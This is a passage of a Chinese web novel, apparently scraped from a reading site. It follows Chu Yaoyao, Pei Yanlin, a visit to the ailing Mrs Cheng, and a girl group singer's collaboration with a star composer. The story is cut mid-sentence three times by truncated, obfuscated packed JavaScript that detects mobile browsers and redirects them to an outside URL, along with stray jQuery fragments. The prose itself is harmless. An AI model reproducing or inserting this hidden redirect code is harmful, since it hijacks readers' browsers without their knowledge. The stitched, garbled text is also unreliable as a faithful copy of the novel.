裴宴林抬手接住抛来药瓶,握在手中,瓶身上贴着英文标签。 赵廷叹了口气,“还是睡不着觉吗?这种药吃多了不好,难不成你要靠这药过一辈子?” “死不了。” “程漾活着也不想看到你这样。” “啰嗦。” 裴宴林将药瓶塞入西装口袋,转头望向一旁熟睡的楚幺幺,又说:“就让她睡在这儿。” “什么?你不带她走?”赵廷惊呼。 裴宴林语气平平:“她醒了自然会回去。” “大哥,这里是市一医,来来往往这么多人,外头可都是记者,我可顾不过来。你怎么把她带来的,就怎么把她带走,免得第二天上了热搜还要怪我没照顾到位,你们娱乐圈的事儿太复杂了。” 赵廷不干了,他可真是奴才命,白天伺候公主,晚上还要伺候少爷。 裴宴林看着他,还想说什么,却被赵廷直接打断了,一张医疗账单甩到了裴宴林的胸口,“带上人,出门,左转,窗口结账。” 裴宴林这次没有坚持,他捏着账单,转身将床上的楚幺幺拉起,想了想又脱下西装盖在了她的头上。赵廷说得没错,要是被记者拍到了,又是一个麻烦。 “走好,不送啊。” 裴宴林抱着人重新回到车上,楚幺幺在他怀中乖得就像一只布偶猫,他把她推向另一侧,可她却又靠了上来,“哥哥……我错了……” 刚刚叫赵廷“哥哥”,现在又叫他“哥哥”了,不是孤儿吗?哪来那么多“哥哥”。 正想着,裴宴林的胸口被重重锤了一拳,“阿宴他欺负我……” 他何时? 下一秒,一个巴掌呼在了他脸上,响彻车厢的一声“啪”,打得那叫一个结结实实。 “欺负我……”楚幺幺迷糊轻喃。 裴宴林瞳孔放大,整个人僵硬地愣住了,就连林岩也愣住了。 裴总什么时候被人打过?就连老爷、夫人都不敢和少爷大声说话。 “裴……裴总,我们现在去哪儿?”林岩虽然送过楚幺幺几次,可具体的门牌地址却不知道。 这么晚了,要是再向公司的人打听详细地址,免不了又是一段是非。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282738|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴宴林从牙缝里吐出两个字:“回家。” - 头好痛! 楚幺幺扶着脑袋醒来,窗子里的光照进来,在被子上留下一道光束,她坐起身,终于看清楚房间内的摆设。 白色的桌子和衣柜,复古的床,浅绿色的窗帘,窗边是真皮棕色的沙发和茶几,一眼能望尽的摆件,偌大的房间显得空荡又冷漠。 这是,阿宴的家。 楚幺幺钻出被子,坐在床边愣神,身上还穿着昨天晚上的衣服,她记得昨天在满盛豪庭喝了酒,后来头就开始晕了,宋雨桐给她开的那瓶酒有问题,再后来,她好像听到了裴宴林的声音。 离上次她和裴宴林吵架已经过去快两个月了,这两个月,裴宴林一直在满世界飞,连待在北山市的时间都寥寥可数,更别说见面了。 上回他字正腔圆地警告她“你这种人不配提程漾”的话还尤然在耳,她还不想见到他,不然她怕自己忍不住想打他。 这么想着,楚幺幺起身准备溜之大吉。 裴宴林的家她已经来过无数遍,这间是客房,离楼梯最近,她可以走得悄无声息,奈何她刚关上房门,身后就传来了一个熟悉的声音。 “刚醒就跑?” 裴宴林穿着宝蓝色的睡衣,此刻正端着一杯牛奶站在她身后,就这样望着楚幺幺。 楚幺幺回头,看到那张许久不见的脸,不知怎么的,心里的气竟消下去大半,可嘴上还是不饶,“我怕自己不小心说了什么违禁词,惹裴总不高兴。” 裴宴林听着她夹枪带棒的话,嘴角冷笑一声。 脾气还不小。 他端着牛奶朝楚幺幺走过来,在她的房门前驻足停下,“你最好知道,昨天要不是我救你,你都不知道会在哪张床上醒来。” 楚幺幺哪里肯认输,“是吗?那怎么办?要不我以身相许?哦,不不不,裴总怎么会要‘我这种人’呢?” 裴宴林听出了她话中的嘲讽,目色转狭,“好歹要说声‘谢谢’。” “裴总该不会不知道我是因为谁被暗算的吧?什么时候需要我这个受害者,向诱因道谢了?”宋雨桐搞这些小动作,还不是因为气她上次搅黄了裴宴林去她的生日宴。 在商场上游刃有余的寰宇集团总裁,此刻顿失滔滔,半晌才蹦跶出一句:“伶牙俐齿。” “好大喜功。”楚幺幺不甘示弱。 两人对视着,最终还是裴宴林败下阵来,先一步转移了话题:“我去看望伯母,你去吗?” 25. 物归原主 璞玥公馆。 “小裴先生,您来了。”张妈接过裴宴林手中的伞,放在门口的置物架上。 “嗯,伯母最近怎么样?”裴宴林站在门口,抖落西装外套上的水渍,这雨下得猝不及防,好在车上有伞。 “精神挺好的,就是胃口不太好。” 楚幺幺转过头,看到了院子里成片的洋桔梗,现在是五月,已经逐渐开出不少花苞,此刻正在雨中摇曳。 这时,张妈已经转身来接她手中的伞,看到她看得入神的模样,便说:“楚小姐也喜欢洋桔梗?这是漾漾最喜欢的花,太太把院子里都种满了。” 楚幺幺一抬眼,看到了裴宴林投来的异样的目光,她一个狠烈眼神回敬了回去:干嘛?我不能喜欢?! 裴宴林撇开了眼,径直往楼上走去,楚幺幺紧跟其后。 程母的房间门虚掩着,程母正躺在落地窗前的躺椅上,望着窗外的雨发呆,一听到有人进来连忙回过了头,终于在看到楚幺幺时露出了由衷的笑,她朝幺幺招招手,说:“漾漾,过来!” 楚幺幺走上前,把手递给程母,然后蹲在她的脚边,将她的手贴在自己的脸颊。 妈妈的手好凉,幺幺用唇亲了亲妈妈的手背。 “漾漾,怎么这么久没有来看我,你和爸爸又吵架了?”程母神色担忧。 “没有,爸爸说我随时都能来看你。” “真的?” “真的。只要你好好吃药。” “我的药……”程母摸着座椅,四处开始张望找药,“漾漾,妈妈的药呢?药!” 程母找药的动作越来越激烈,神色慌张,手也抖得厉害,好像找不到药就会有人把程漾从她身边带走一样。 张妈在一旁扶住了程母,“太太,药在,在楼下,今天还没吃。” 楚幺幺拍着程母的肩安抚,“妈妈,我去拿,你在这儿坐着。” 可程母死死拽住了她的手腕,不让她走。 “放心吧,”楚幺幺拍拍程母的手背,“马上就回来。” 两人对视了一会儿,程母才慢慢松开了楚幺幺的手。 楚幺幺往外走去,后面张妈提醒她:“楚……小姐,药在厨房第二个柜子里。” 楚幺幺驾轻就熟地走向厨房,取了一只玻璃杯,从温水壶里倒了大半杯水,然后打开第二个柜子,从中取出了一个白色药瓶。 这时,门口风风火火进来一个人。 “什么鬼天气!” 这声音,楚幺幺化作灰都记得。 宋雨桐一身白色香奈儿外套,此时已经被雨水全打湿了,湿漉漉的发贴在头皮和脸颊上,看起来十分狼狈。 她一边捋着湿漉漉的头发,一边向里面走来,见门口没有人招呼,气不打一处来,“张妈!人呢!” 楚幺幺拿着药从厨房出来,恰巧和宋雨桐打了个照面。 宋雨桐脸上明显一愣,惊讶道:“你怎么在这儿?!” 她快步走上来,脸颊上的头发被她随意往后头一拨,气势汹汹。 楚幺幺不想搭理她,正要上楼,却被宋雨桐扯了一下,手里的药瓶子被打翻掉到了地上,杯子里的水也险些晃荡出来,“问你话呢?” 楚幺幺瞪了她一样,说:“宋小姐这么作威作福,不知道的,还以为这是你家呢?” 她俯身想去捡药瓶,却被宋雨桐推开了,“这不是我家,难道还能是你家?” 楚幺幺挤开她,蹲下身拿起药瓶,又将地上的水渍擦了擦,起身时,放在牛仔裤兜兜里的卡片夹掉了出来。 宋雨桐眼疾手快,捡起卡片夹就开始翻,“该不是摸进来偷东西了吧?” “我没有,还给我。” 宋雨桐躲过楚幺幺伸来的手,把卡片一张张抽出来瞧,终于在夹层里抽出了一张拍立得——程漾和裴宴林的合照。 “还说不是偷,偷阿漾姐姐和裴林哥哥的照片,想干嘛?”宋雨桐将照片夹在手中,耀武扬威地看着楚幺幺。 “和你有关系吗?” “程家的事就是我的事,”宋雨桐向前迈近了一步,一脸傲然地看着楚幺幺,“你还不知道吧,程漾的妈妈是我的姑姑,这家有姑姑的份,就有我的份,她已经没有孩子了,我就是她最亲的人。” 呵,最亲的人,把自己的亲姑姑推入深渊的人吗? “吵什么?”裴宴林出现在二楼楼梯口,正往下望着她们。 宋雨桐抬起头,看到裴宴林的刹那立马换上了一副娇软的模样,小跑着上了楼,“阿宴哥哥~她偷了你和阿漾姐姐的照片!” 裴宴林接过那张照片夹在两指之间,只瞧了一眼,视线又向下望向楚幺幺,却没有说话。 一旁,宋雨桐还在煽风点火,“她偷藏你的照片,还故意接近你,有什么目的一想就知道。真是癞蛤蟆想吃天鹅肉,她也配?阿漾姐姐可比她漂亮多了!” 楚幺幺听得咬牙切齿,从齿缝里挤出几个字:“我谢谢你。” “我现在就可以报警,告你偷东西。”宋雨桐说。 “你报啊,报假警是犯法的。” “人证物证聚在,犯哪门子法?” …… “别吵了。”裴宴林看着楚幺幺,轻描淡写地说了一句,“照片是我给她的。” “怎么可能?”宋雨桐一脸不可思议,裴宴林何等冷淡的一个人,怎么可能无缘无故送别人照片,还是他和阿漾的合照,“我不相信!” “她是阿漾的粉丝,想留个念想,照片是我送她的。” “这不可能!阿宴哥哥,你为什么总是这么维护她?难道你真的喜欢她?” 裴宴林陡然皱眉,目光变得异常严厉,呵斥道:“胡说什么!我只喜欢你姐姐。” “可是姐姐已经死了!”宋雨桐不经大脑地说。 “阿漾没有死!”裴宴林怒斥道,声音大得把宋雨桐都吓了一跳。 裴宴林深深闭了一下眼,意识到了自己失态,放缓了语气又说:“她只是失踪了。” “可是……”宋雨桐还想继续说什么。 此时张妈下来了,赶忙出手阻止这场闹剧:“宋小姐,您看您湿的,先去客房换身衣服吧。” 宋雨桐这才意识到自己身上还湿漉漉的,浑身狼狈,她强忍下一口气,转身去了客房,临走时狠狠瞪了楚幺幺一眼。 楚幺幺回敬了一个白眼,以前跟在她身后跟个狗尾巴一样,甩都甩不掉,现在,作威作福的模样,看来是真把自己当程家大小姐了。 “解释一下?”裴宴林不知何时已经从楼梯上下来,他站在比楚幺幺高一级的台阶上,两指夹着那张拍立得,居高临下看着她。 “解释什么,我是程漾粉丝,留个纪念怎么了?” “偏偏挑这张?”裴宴林又问。 这张上面除了有程漾,还有裴宴林。 楚幺幺终于听出了裴宴林的言外之意,瞬间感到欲哭无泪,看来刚刚宋雨桐的话某人还是听进去了,“裴总,你该不会觉得,我是因为你才收藏这张照片的吧?” 裴宴林面色没有一丝浮动,依然看着她不说话。 好好好,自信的男人真的很讨厌,哪怕是裴宴林也不例外。 “裴总,我承认我对你是有一些非分之想,但这张照片,是上次我来时在八音盒里找到的,上回你想把它们都烧了,我只是不想它被烧掉,程漾的照片烧一张就少一张。” 楚幺幺目光真挚地盯着裴宴林看,见他嘴角的肌肉似乎动了动,于是伸手去拿他手中的照片,“还给我。” 裴宴林的手微微一抬躲开了,然后迅速将照片插进了胸前的口袋里,“没收。” 说罢,他转身上楼,丢下一句:“伯母还在等你的药。” 楚幺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304478|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幺拿着水杯和药跟着上楼去,嘴里念叨:“你这是明抢。” “这叫物归原主。” 楚幺幺说不出话来。 谁还不是原主了? 楼上,程母等得着急,见到楚幺幺回来才松了口气,乖乖地吃了药,拉着幺幺的手,又说:“你和宴林的婚事也该提一提了。” 说着,她拉过楚幺幺的手和裴宴林的手交叠在一起。 楚幺幺看向裴宴林,见他表情冷漠,“妈,不急。” 程母丝毫没有察觉到两人的诡异气氛,自顾道:“你就让宴林这么一直等着你?小心他不要你了。” “怎么会,他可喜欢我了。” “你呀,就是恃宠而骄,宴林你快说说她。”程母看向裴宴林,企图拉他加入她的讨伐阵营。 可裴宴林却在瞬间抽回了手,一言不发,转身出去了。 “他怎么了?”程母不解。 “没事。妈,我给你按按肩。”楚幺幺绕到妈妈身后,按着她的肩膀坐下,力道均匀地开始按摩。 “你要多关心关心宴林。” “知道了。” “去年过年,明明说好了要订婚的,宴林带着礼物上门道歉说不订了,说自己没有准备好。妈一听就知道,是你不想订。那孩子,什么事都替你扛。你记不记得,他爸把他送到我们家照看,他当时一句话都不肯说,只爱和你说话。你裴叔就开玩笑说要认你做干女儿,结果宴林不肯,饭都没吃完拉着你就走了。他那时候才八岁啊……” “记得。”楚幺幺说。 她还记得她当时问他,为什么裴叔叔不能认她做干女儿?裴宴林反问她:“为什么要?”她想了想,说:“多个爸爸疼我不好吗?” 裴宴林不假思索地说:“我疼你不就好了?”他说完,像是怕她不相信似的,又重复了一句:“我会一直疼你的。” 他一直遵守承诺到现在。 现在想起来,竟像做梦一样。 楚幺幺默默叹了一口气,有时候她也不知道自己现在这样到底算什么,也会恍惚地觉得,她是不是就像庄周梦蝶一样,只是做了一个叫“程漾”的梦。她现在,算不算在用别人的身体,偷程漾的东西。 这么想来,宋雨桐说的其实也没错。 她是个小偷。 “妈妈,”楚幺幺从后头搂住了程母的脖子,靠在她的肩头,亦如以往她撒娇那般,可眼泪却忍不住开始在眼眶里打转,“我觉得现在这样挺好的,我可以一直待在你身边。” 如果妈妈病好了,发现她不是“程漾”,她就不能继续待在她身边了。 “是啊,你爸终于肯让你回家了。” 两人的对话并不同频。 “妈妈,我问你,如果我丢了东西,又去把它抢回来,我是不是小偷?” 程母思考了一番,问:“必须抢吗?不抢拿不回来?” “必须抢。” “是很重要的东西?” “嗯,非常重要。” “那就抢吧,丢了这么重要的东西,又拿不回来,漾漾岂不是要一直哭?” 这样听起来有些幼稚的话,把楚幺幺逗笑了,“是啊,会一直哭,哭到把北山市都淹了。” “我的漾漾,当然什么都要是最好的。” …… 楚幺幺从程母的房间出来,正看到裴宴林从阳台回来。 裴宴林也看到她了,走到楚幺幺身边时,她闻到他身上浓浓的烟草味,她下意识往后退了一步。 裴宴林显然也看到了她略带嫌弃的表情,“伯母睡下了?” “刚躺下。” 裴宴林往门缝内望了一眼,没再说话,转身下楼去了。 楚幺幺紧跟着下楼去,她看着裴宴林的背影,心底里有一个声音在回响:她真的没有办法放弃,哪怕是偷是抢,她都要夺回来。 26. 像做梦一样 沈家村的夜异常宁静,只有树叶被夜风吹动的响声。 一户灯光从窗户里映出,里面的一家三口正坐在桌前吃晚饭。 沈母端上一碗面,双手在围裙上擦了擦,和沈父交换了一个眼神,才踌躇地坐下,犹豫道:“柠柠,这次你受伤,我想了很多,咱们还是老老实实地过本分日子,早点找个人嫁了吧。” 沈清柠刚提起筷子,一听这话瞬间收回了手,抬头望向沈母,“妈,这是什么意思?” 沈母拉着沈清柠的手,语重心长道:“娱乐圈不是我们这种人家该进的,你的年纪也不小了……” “妈!”沈清柠打断了她,“我们说好的,你会全力支持我的梦想。” 沈母低着头,不想看女儿的眼神,“已经三年了,家里这么下去也不是办法。你没有收入,日子过得这么苦,上回你但凡肯花钱打车,也不会……” 沈母说着说着,想到沈清柠浑身是血躺在血泊中的样子,眼泪夺眶而出,捂着嘴无法言说下去。 “妈,那只是个意外。”沈清柠看向沈父,寻求帮助,“爸,你说句话啊。” 沈父低着头叹了口气,“柠柠,你听话,趁现在还年轻,早点找个人嫁了。” 沈清柠抿紧了唇,面前是泣不成声的母亲和一脸严肃的父亲。 她当然清楚自己的家境,她不过是个小农村里出来的普通女孩,和那些含着金汤匙出生,在娱乐圈里风生水起的富二代们终究是不一样的。可唱歌是她的梦想,对热爱的追求,她和她们任何人都是一样的。 “爸妈,再给我一点时间。”沈清柠祈求地说,她们团刚有一些起色,前阵子群星之夜,幺幺和阿语的《荆棘王冠》还上了热搜。 “柠柠,人要学会认输。”沈父的一字一句敲打在她的心上,“女孩子年纪上来,就更难找到好对象了,你看看隔壁王大婶家的女儿,出去读了几年书,现在三十岁了还在北漂,书都读傻了!” “爸!”沈清柠站了起来,终于明白这顿饭是场鸿门宴,她的父母早已统一战线,“我还年轻,还有很多想做的事。以前最艰难的时候我没有放弃,现在我更不可能放弃!我不想这么早就随随便便找个人嫁了,为他生儿育女、相夫教子,像村里那些普通女人一样,一辈子绑在孩子上,那不是我要的生活!” “你想要什么生活?你妈不也是这么过来的吗?你还想怎么样?想飞吗?”沈父的嗓门也大起来,“你掂量掂量自己的能耐,我和你妈每天早起去菜市场卖菜,不是让你每天做白日梦的!” 小屋里,一下子安静下来。 沈母见苗头不对,赶紧拉拉沈父让他坐下。 沈清柠还是站着,梗着脖子一言不发。 不知过了多久,沈父才压低嗓子又说了一句,“你也该为我们考虑。” 沉默在屋子里蔓延。 沈清柠吞了吞喉咙,强忍着眼里的泪水,她从来没有这么大声同爸妈说过话,爸爸也没有这样吼过她。 “柠柠……”沈母伸手来拉她。 沈清柠抓起椅子上的包,夺门而出。 手握上门把手的刹那,眼泪落下了,身后是妈妈呼唤她的声音,而她越跑越快,一边抹泪一边跑,等她反应过来时,自己已经站在了大路上。 路边是夜市小贩的叫卖声,每一句都从她的头顶飘过。 远处,寰宇大楼在夜色里闪着光,那里是北山最豪华的CBD商业区,建筑物的灯光像银河般耀眼。 沈清柠往身后望了一眼,来时的小路黑漆漆的,让人觉得那不过是一片黑暗,后面什么都没有。 她从家里跑过来只用了十几分钟,这条大街就像是一道三八线,把城市和农村切割开,好像在提醒她,你并不属于这里,你只是不小心闯入了这里。 她就这么漫无目的地走着,脸上的眼泪已经被吹干了。 她是家中独女,对于农村家庭来说非常少见,从小到大,父母竭尽所能给她所需的一切。她知道他们很辛苦,每天天蒙蒙亮就挑着菜篮子去菜市场卖菜。后来,爸爸在城里的工地找了个工作,每天脚踩着工地的泥灰都不敢来学校接她,总是站得远远的,他说,怕她同学看到了笑话她。 村子里有一条河叫“柠河”,从北山市最北边的山脉发源,流经他们这座小村庄,然后又缓缓淌向最繁华的主城区。爸爸曾说,他的“清柠”可不同于村里的其他女孩,每天只会头低低,他的“清柠”会像柠河一样,在北山市最繁华的地方闪闪发光。 就在那个地方。 沈清柠抬起头,寰宇大楼的灯光还在夜空中闪烁,亮白色的灯带像波浪一样滚过整栋大楼,它像一位身披华丽裙裾的公主,高贵得不会为任何人低头。 不像她,始终不是什么好运的人。 …… 沈清柠漫无目的地回到公寓,已经十点过五分了。 以往这个时候,阿语已经拿着本本在床上给大家算今天的总账了。 “今天三份方便面花了九块钱。”“公交车花了四块五。”“哦哦,幺幺今天打碎了一个盘子,扣五块。”…… 日子过得很拮据,在进入寰宇之后,才稍稍好了一点。 她站在门口深深吸了一口气,整理了一下情绪才推门而入。 刚进屋,姜书语就难掩激动地蹿了上来,像一只树袋熊挂在她的身上,“阿柠!你快看!快看微博!” 姜书语拿着手机的手一直在抖,沈清柠好不容易才看清界面上的字。 热搜第一条挂着顾颜榕工作室刚刚发布的微博——诚挚邀请@桔梗少女-沈清柠女士合作完成单曲《问》,敬请期待! 姜书语语无伦次,抱着沈清柠险些说不出话来:“阿柠!是顾颜榕,他邀请你合作!” 后者也好不到哪里去,脑袋像刚刚被人重击过,懵懵的,“工作室被……盗号了?” 工作室微博底下,网友正热烈地讨论着: 【沈清柠是谁?】 【楚幺幺那个团的。】 【我想起来了,群星之夜那个姜书语也是这个团的。】 【桔梗少女,怎么又是桔梗少女,最近是不是有人在捧啊?风头这么盛?】 【别的也就算了,顾颜榕诶,眼高于顶的顾大顶流也来凑热闹?】 【话说,有人催一下顾颜榕发微博吗?谁家粉丝天天只能蹲工作室微博啊,喂~】 …… 好半晌,沈清柠才终于回过神,目光望向了不远处的楚幺幺:“幺幺,这不会是你说的那个大饼吧?” 姜书语转头看到楚幺幺一脸淡然,丝毫没有感到意外的表情,才猛然明白过来:“不是吧!幺幺,顾大顶流你也认识?” 楚幺幺冲她们微微一笑,“上次群星之夜,我们的表演很出色,是他自己找上门的哦~我就知道他听过你的声音,一定会答应的。” 虽然顾颜榕和她在音乐上时有争执,但在音乐的品味上还是高度一致的。 沈清柠的嗓音条件,就连程漾也差三分。 “啊啊啊啊~”姜书语兴奋地跑过来,一把抱起楚幺幺原地转圈圈,“幺幺,你真是个天才!” 楚幺幺被转得头晕,紧紧搂住姜书语脖子不敢松手。 沈清柠捏着双手站在原地,激动得双手都在抖,“像做梦一样。” 姜书语放下了楚幺幺,跑到沈清柠跟前,对着她的脸轻轻拍了几下:“阿柠,不是做梦!你的福气来啦!” 沈清柠抬起头,眼里泪光盈盈,“嗯,是真的。” 这时,沈清柠的手机响了,界面上跳动着Amy姐的名字。 手机那头,Amy姐直奔主题:“顾颜榕那边来消息了,让你明早九点去石英唱片,对接下合作的事,我会让Helen陪你去。” Helen是寰宇娱乐负责签约的主办,她是Amy手下的首席助理,向Amy直接负责,让Helen直接对接,可见Amy姐也很重视这次与顾颜榕的合作。 听着手机那头的安排,沈清柠乖巧地点着头,嘴里一声一声应着“嗯”。 等挂了电话,她才终于如释重负吐出一口气,“这是Amy姐第一次给我打电话。” “我家柠柠真是太棒了!”姜书语抱着沈清柠来回晃荡,“你说我们是不是倒霉了三年,开始转运了?不知道从什么时候开始,好像事情越来越顺利了?是不是幺幺?” 楚幺幺靠着沙发,看着眼前的两人,就像看着两个因为一根棒棒糖欢呼雀跃的小孩,“是。不过我觉得,你们最好现在赶紧洗漱睡觉,阿柠明天还要早起。” “哦,对对对。”姜书语推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304479|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着沈清柠的肩膀,把她往浴室推,“快洗白白,明天还要把你送去给顾大顶流呢~” “你说什么呀~” 沈清柠被不由分说地推进浴室,等她转过脸,看到镜子里的自己脸颊早已绯红。 她羞赧地取了毛巾,转身进了淋浴间。 …… 第二日,桔梗少女三人一起出现在石英唱片的门口。 楚幺幺和姜书语只是陪沈清柠到楼下,看着Helen带着清柠进了电梯,姜书语搂住楚幺幺的肩,八卦地说:“你说顾颜榕为什么邀请阿柠合作啊?他不会看上我们阿柠了吧?” 楚幺幺脑海里浮现出顾颜榕那张冰山似的脸,摇了摇头,“他那种冷面冰山,怎么可能喜欢谁?” 姜书语不敢苟同,反驳道:“要说冷面,裴总才是真冷面修罗,上次我去总部远远看到一眼,浑身压迫感十足,真是白瞎了那副长相和身材,我本来口水流的好好的,他往我的方向看了一眼,我的口水都冻住了。” “裴总哪里冷了?他长得就像只西伯利亚雪橇犬,超可爱的。” 姜书语被这形容惊得合不上嘴,朝楚幺幺比着大拇指说,“能把裴总比作西伯利亚雪橇犬,你绝对是第一个。超可爱?我看你脑子是挺可爱。” 她说着戳了戳楚幺幺的脑门,被楚幺幺躲开了,“蹭到我粉底了。” “我就蹭,就蹭就蹭。”姜书语一把抱住楚幺幺,企图用蛮力让她妥协,两手扣住楚幺幺的双手,吐出舌头要舔她的脸颊。 楚幺幺被控得不能动弹,无力反抗:“姜书语!你属狗的吗?” “有我这么可爱的狗吗?” “土狗,野生土狗。” …… 两人打闹作一团,一旁的保安正准备上来阻止这一对的活宝,另一个更为深沉的声音却进来了,“楚幺幺。” 语气无波无澜,却带着不容抗拒的威严。 姜书语回身看到裴宴林的刹那,瞬间收回了手,立正站好,双手规规矩矩交握在身前,像一个正在听训的小学生,“裴总。” 楚幺幺揉着刚刚被姜书语捏疼的手臂,看向裴宴林,还是一贯的黑色定制西装,尖头的皮鞋,手腕上是几年前他们一起在拍卖会上拍来的限量手表,脸……是蛮臭的。 也难怪姜书语说他是冷面修罗。 裴宴林抬起一只手,手指微曲,朝楚幺幺勾了勾。 这里是石英唱片,按理说也不是寰宇的业务范围啊? 楚幺幺走上前,捏着斜挎包的肩带不卑不亢,“有事?” 裴宴林居高临下看着她,一股压迫感袭扑面而来。 “你认识顾颜榕?”刚刚从顾颜榕嘴里听到“楚幺幺”的名字,他很意外,她是从什么时候开始变得这么无孔不入的。 “顾大顶流,谁不认识?”楚幺幺说。 裴宴林眼风扫向她,唇线绷得平直,下颌线也微微收紧,一股无声的冷意弥漫开来。 楚幺幺被看得有些心虚,便又补充了一句,“上回群星之夜,在后台聊过几句。” 上次群星之夜,桔梗少女的舞台很出圈,姜书语的热搜词条在微博榜一挂了一整晚,Amy连夜调整了姜书语的评定等级。最近,听说又准备调整她们团另一名成员的评级,刚刚在楼上,他似乎看到她了。 三百万买来的小糊团,看来也不是毫无用处。 裴宴林收回了视线,提步往外走出,身后的林岩提着公文包,朝楚幺幺点头示意,也急匆匆跟了出去。 姜书语从后头走上来,搭着楚幺幺的肩膀问道:“幺幺,你和裴总认识?” 楚幺幺点点头,目光如流星闪烁,“是啊,他说要娶我回家,永远疼我呢。” 下一秒,姜书语一个脑瓜崩弹在楚幺幺的额头,“楚幺幺,你现在撒起谎来连草稿都不打了。” 痛。 楚幺幺捂着头,“你打我也是越来越顺手了,我看我们还没火,我先被你打残废了。” “那哪能啊,你可是我们的小福星~”姜书语撒娇地抱住了她,在她胸口蹭了又蹭,“昨天阿柠可说了……” “说什么?” “也没什么,就是说有些奇怪,说你很厉害,越来越厉害了。” …… “走吧,回去训练了。” 27. 很喜欢的人 待到沈清柠回来已是午夜,她在寰宇娱乐的录音棚整整待了十二个小时,楚幺幺和姜书语在沙发上等得快睡着。 沈清柠的表情看起来有些疲惫,浑身上下透露着一股低气压,一看就心情极差。 楚幺幺知道顾颜榕这个人不好相处,只是没想到,连向来温婉的沈清柠也会被整得表情管理失控。 “阿柠,你怎么了?”姜书语率先看到了沈清柠蹩脚的走路姿势。 “扭到了。” 姜书语从沙发上一跃而起,忙不迭扑上前扶住了她,“扭成这样,谁送你回来的?” 沈清柠微舔嘴唇,“顾颜榕。” “哦~男神送你回来的啊。”姜书语用肩膀撞撞沈清柠的肩膀,眼神里暧昧不明,“怎么样,开心吗?是不是胸口小鹿乱撞?” 她眉毛抖动,像跳动的三分音符。 “我累了。”沈清柠没有直面她的问题,却反手推开了她,往自己的房间走去。 姜书语愣在原地,望着沈清柠离去的背影,挠了挠脸颊,看向沙发上抱着抱枕的楚幺幺,“她怎么了?” “被骂了,心情不好。”楚幺幺不假思索地回答。 以前她录顾颜榕写的歌,哪次不是被他怼得怀疑人生。 一录歌她就抑郁,每次等到录完了,她才会想起来,自己可是第一女团的全能ACE。 真的很奇怪,顾颜榕就是有一股魔力,能让你在他的主场里忘记自己的所有荣誉。 “顾大顶流,很凶吗?”姜书语的五官都皱到了一起,阿柠是她们团情绪最稳定的人,也被骂成这样?她不由抖了三抖。 “人间活阎王。”楚幺幺锐评。 姜书语长吸了一口气,一个扑身抱住了楚幺幺,“完了,全完了!顾颜榕还是阿柠偶像,她她她……不会想不开吧?” 想不开倒是不会,以她过往的经验,不过是也就需要大半年的时间修复受伤的心灵而已。 …… 浴室内,花洒喷下淋漓的水柱,浇在沈清柠的头发上。 她抹了一把脸,将脸上的水渍擦去,有细小的水珠还立在她的睫毛上,细密的水珠还在向下落,落在她隐隐作痛的左脚脚踝。 沈清柠停住了手上的动作,愣在原地,脑海里会想起今天发生的一切—— 偌大的录音棚内,顾颜榕修长的手指在纸上写下三个音阶,笔在纸面上敲打了两下,“把这几个音唱一遍。” 她瞥了一眼,纸上写着“C4”“F5”和“G6”,她心领神会地走进录音室,透过两间隔间之间的玻璃,能清楚地看到另一侧的顾颜榕。 石英唱片的录音棚比寰宇的还要大上许多,她调整了麦的高度,刚要开声,才发现自己卡了一口气,赶紧清了清嗓子。 一个音刚出口,就听到顾颜榕的声音传来,“错了。” 兴许是因为太紧张了,她的音一直在抖,顾颜榕讲话也越发不客气起来。 “嗓子帕金森了?” “啊?……没。” “那你抖什么?楚幺幺怎么没说介绍的是个电音公主?” “……” “我的歌很难听?” “没……” “那你唱得这么难听。” “上一次听到这么难听的声音还是在菜市场的杀鸭摊上。” …… “重唱。” “再来。” 摇头。 “不行。” …… 就这样,高强度训练一直持续到了半夜,她的嗓子都要冒烟了,顾颜榕才终于喊了停止,沈清柠感到身心疲惫。 从里间录音室向外走的时候,一不留神被台阶结结实实绊了一跤,她重重摔到了地上。 顾颜榕拿着外套正欲往外头,听到声音转过了身。 沈清柠抚着左脚脚踝蹲在地上,隐隐作痛的扭伤让她不由皱了眉。 “能走吗?”顾颜榕问。 沈清柠站起身,朝他露出一个微笑,“可以。” 她尝试着走了一步,眉头越皱越紧。 这时,顾颜榕把外套往一旁的桌子上一丢,拦腰抱起她,将她抱到沙发上坐好,下一秒,他不由分说就按在了她受伤的位置,“这里?” “疼!……嗯。” 顾大顶流不当创作歌手,当个医生一定也是顶好的,找伤口主打一个快准狠,只是下力道完全不管伤患死活。 顾颜榕起身从一侧的柜子里拿出了医药箱,从中拿了瓶东西出来,单膝跪到沈清柠脚边。 “嘶 